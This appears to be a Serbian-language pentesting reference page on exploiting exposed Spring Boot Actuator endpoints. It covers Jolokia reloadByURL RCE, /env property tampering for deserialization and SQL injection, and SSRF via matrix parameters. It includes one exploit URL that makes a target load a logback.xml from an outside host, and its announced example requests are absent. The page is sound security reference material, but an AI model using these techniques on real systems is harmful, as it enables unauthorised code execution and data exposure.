Spring Actuators
Spring Auth Bypass
Sa https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png****
Eksploatacija Spring Boot Actuators
Proverite originalni post sa [https://www.veracode.com/blog/research/exploiting-spring-boot-actuators]
Ključne tačke:
Spring Boot Actuators registruju krajnje tačke kao što su
/health
,/trace
,/beans
,/env
, itd. U verzijama od 1 do 1.4, ove krajnje tačke su dostupne bez autentifikacije. Od verzije 1.5 nadalje, samo su/health
i/info
podrazumevano neosetljive, ali programeri često onemogućavaju ovu sigurnost.Određene Actuator krajnje tačke mogu izložiti osetljive podatke ili omogućiti štetne radnje:
/dump
,/trace
,/logfile
,/shutdown
,/mappings
,/env
,/actuator/env
,/restart
, i/heapdump
.U Spring Boot 1.x, actuators su registrovani pod osnovnim URL-om, dok su u 2.x pod
/actuator/
osnovnom putanjom.
Tehnike eksploatacije:
Daljinsko izvršavanje koda putem '/jolokia':
Krajnja tačka
/jolokia
izlaže Jolokia biblioteku, koja omogućava HTTP pristup MBeans.Akcija
reloadByURL
može se iskoristiti za ponovo učitavanje konfiguracija logovanja sa spoljnog URL-a, što može dovesti do slepog XXE ili daljinskog izvršavanja koda putem kreiranih XML konfiguracija.Primer URL-a za eksploataciju:
http://localhost:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/artsploit.com!/logback.xml
.
Izmena konfiguracije putem '/env':
Ako su prisutne Spring Cloud biblioteke, krajnja tačka
/env
omogućava izmenu svojstava okruženja.Svojstva se mogu manipulisati za eksploataciju ranjivosti, kao što je ranjivost deserializacije XStream u Eureka serviceURL.
Primer POST zahteva za eksploataciju:
Ostale korisne postavke:
Svojstva kao što su
spring.datasource.tomcat.validationQuery
,spring.datasource.tomcat.url
, ispring.datasource.tomcat.max-active
mogu se manipulisati za razne eksploatacije, kao što su SQL injekcije ili menjanje stringova za povezivanje sa bazom podataka.
Dodatne informacije:
Sveobuhvatna lista podrazumevanih actuators može se pronaći ovde.
Krajnja tačka
/env
u Spring Boot 2.x koristi JSON format za izmenu svojstava, ali opšti koncept ostaje isti.
Povezane teme:
Env + H2 RCE:
Detalji o eksploataciji kombinacije krajnje tačke
/env
i H2 baze podataka mogu se pronaći ovde.
SSRF na Spring Boot kroz pogrešno tumačenje putanje:
Rukovanje matricnim parametrima (
;
) u HTTP putanjama u Spring okviru može se iskoristiti za Server-Side Request Forgery (SSRF).Primer zahteva za eksploataciju:
Last updated